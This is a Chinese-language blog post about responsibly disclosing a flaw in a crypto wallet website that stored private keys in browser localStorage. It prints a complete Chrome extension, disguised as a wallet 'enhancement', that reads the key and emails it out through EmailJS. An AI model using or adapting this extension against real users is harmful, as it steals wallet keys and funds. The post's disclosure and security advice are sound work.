2022 年 1 月,我加入了其中一个权益证明区块链的社区。为了利用该协议及其生态系统提供的功能,我在官方网站https://wallet.****.org
上创建了一个钱包帐户。除了一般的好奇心之外,我还对他们如何在浏览器中实现安全性感兴趣,特别是在扩展和客户端漏洞时代。
事实证明,当用户登录时,钱包应用程序(内置于 React)会生成一组公钥和私钥,并将它们存储在浏览器的本地存储中。根据我在分布式系统中构建身份验证和授权的经验,我知道这不是最好的做法 - 一般来说,浏览器扩展和客户端代码很容易从本地存储读取数据[ 1 ]。
为了证明这一点,我决定为 Chrome 编写一个简单的扩展,它可以从受害者的浏览器中检索密钥并将其发送到我的匿名电子邮件地址。
我的扒手扩展的根目录如下所示:
. ├── content.js ├── email.min.js ├── index.html └── manifest.json
主要文件是manifest.json
和content.js
。前者对于安装扩展至关重要。
{ "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }
email.min.js
只是云服务之一的客户端库,允许您直接从浏览器发送电子邮件,无需任何服务器代码。 index.html
是一个空白 HTML 页面,不显示任何内容。钱包劫持逻辑位于content.js
文件中:
emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });
是的,这样一个虚拟脚本。
我将所有四个文件打包到一个 zip 存档中,并恳请我的朋友(他在https://wallet.***.org
上也有一个钱包)在他的浏览器中安装我的作品(假装进行一些社交工程)。在此之前,我告诉他我的发现和我试图证明的理论。他很乐意提供帮助,在安装浏览器扩展程序几秒钟后,这个钱包帐户的公钥和私钥就出现在我的收件箱中。接下来,我将密钥保存到浏览器中的本地存储中,并打开了钱包网站。
令人惊讶的是,我可以使用我朋友的加密钱包余额,并可以选择提取资金。在与我的受害者朋友进行 Zoom 通话时,我将他的部分资金转入一个匿名账户并转回。真是令人兴奋!一个新的、有前途的区块链最近结束了一轮投资,但其钱包存在重大漏洞。最糟糕的是,他们对用户进行了两步身份验证。当然,没有多少人会立即激活它,也有很多人没有。
作为一名有道德的开发人员,我创建了一份漏洞报告,包括浏览器扩展的源代码以及我对如何提高 Web 应用程序安全性的想法。该邮件已于 1 月 18 日直接发送至安全团队的电子邮件地址。几天后,我与区块链协议的 CISO 通了电话,他向我保证他们已经意识到这个问题并将在下一个版本中解决它。我对事件的响应速度有点失望。当谈到用户的钱时,两天就是永恒。尽管如此,区块链开发者还是给了我相当于 1000 USDT 的代币。
👉🏻给应用程序开发人员的建议:了解您使用的技术及其安全方面。
💡给加密货币用户的建议:了解组织为您提供哪些安全选项,在创建钱包账户后立即激活双因素身份验证,不要将所有资金存储在热钱包中。
也发布在这里。